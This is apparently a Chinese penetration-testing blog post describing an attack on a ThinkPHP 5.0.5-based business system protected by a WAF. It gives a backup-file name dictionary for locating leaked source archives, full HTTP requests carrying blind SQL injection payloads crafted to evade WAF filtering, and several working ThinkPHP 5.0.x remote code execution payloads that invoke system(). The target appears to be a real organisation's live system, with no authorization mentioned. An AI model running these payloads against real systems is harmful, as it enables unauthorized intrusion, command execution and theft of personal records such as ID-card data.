loecho@垃圾桶

一次简单的实战—TP二次开发代码审计

2020-10-22 · 4 min read

0x01 开始:

[+] 基本信息:

  • Thinkphp5.0.5

  • 存在WAF,貌似是某武盾

  • 某费业务系统

[+] 关键点:

在得到目标域名时,结合目公司名称关键字,还有域名的关键字,试着与敏感的备份文件简单组合一下,得到简单的敏感文件字典,字典大致格式为,进行简单的目录扫描,手动去测试逻辑部分,不一会儿目录扫描结果得到业务系统的备份文件,名称为: 关键字+backup.tar.gz

image-20201022102928786
关键字+buckup.zip
关键字+buckup.rar
关键字+buckup.zip.tar
关键字+buckup.tar.gz
www+关键字.zip
www+关键字.rar
www+关键字.zip.tar
www+关键字.tar.gz
关键字.zip
关键字.rar
可以随意组合即可,也可以看一下参数命名方式,猜测管理员的命名习惯.....

0x02 代码审计

系统是由ThinkPHP5.0.5进行二次开发而搭建的,因为以前只是简单看过ThinkPHP代码,并不了解Thinkphp,google了一下,对应目录结构,看一下代码:

image-20201022103324713

[+] 系统路由:

image-20201022103835424

[+] SQL注入漏洞

身份证号处:

image-20201022104252294
(1)正常传参:

对输入没有任何限制,只是前端限制了输入长度,抓包后,随便传个id,就得到个人数据

image-20201022094104722
(2)注入测试
  • 存在WAF,后端数据库为MySQLThinkPHP-dubug 也没有开启,简单构造盲注证明一下危害即可:
image-20201022105805275

Payload:

image-20201022105500870
  • 查询user长度,长度为14:
POST /index/index/p_card.html HTTP/1.1
Content-Length: 59
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close

card=1")/(case when length(user())=0 then 1 else 0 end)+--+
image-20201022110011166
  • 查询内容,因为ascii函数拦截,替换为char函数,缺点是大小写不敏感,用 like binary代替:
Paylaod:
POST /index/index/p_card.html HTTP/1.1
Content-Length: 71
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close

card=3")/(case when substr(user(),1,1)like binary 'a' then 1 else 0 end)+--+

注个用户名证明下就可以了….

image-20201022110230634

看了其他代码之后都是一样的风格,注入有很多处….

大同小异,都是直接拼接而且没有任何过滤

[+] THinkPHP RCE

ThinkPHP老漏洞,因为目标有WAF自己的被动扫描也没效果,把代码过了一下,发现还是存在,本地搭起来可以复现,具体分析过程可以看y4er大佬博客,我自己跟了一下,结果如下 :

image-20201022191221022
image-20201022191700891

**Paylaod: **

POST?s=index/index

s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
get[]=whaomi&_method=__construct&method=get&filter=system

本地验证成功,WAF没绕过去,自己测试了一下发现WAF拦截的是filter关键字,没其他想法了,卒….

image-20201022141629131

前台功能点少,只有几个查询,没啥shell的点….

太菜了… 总结一下所有SQL摸鱼完事…

0x03 参考链接

  • THINKPHP目录结构:https://www.kancloud.cn/manual/thinkphp5/118008
  • Thinkphp5.0.5 RCE 分析:https://y4er.com/post/thinkphp5-rce/
loecho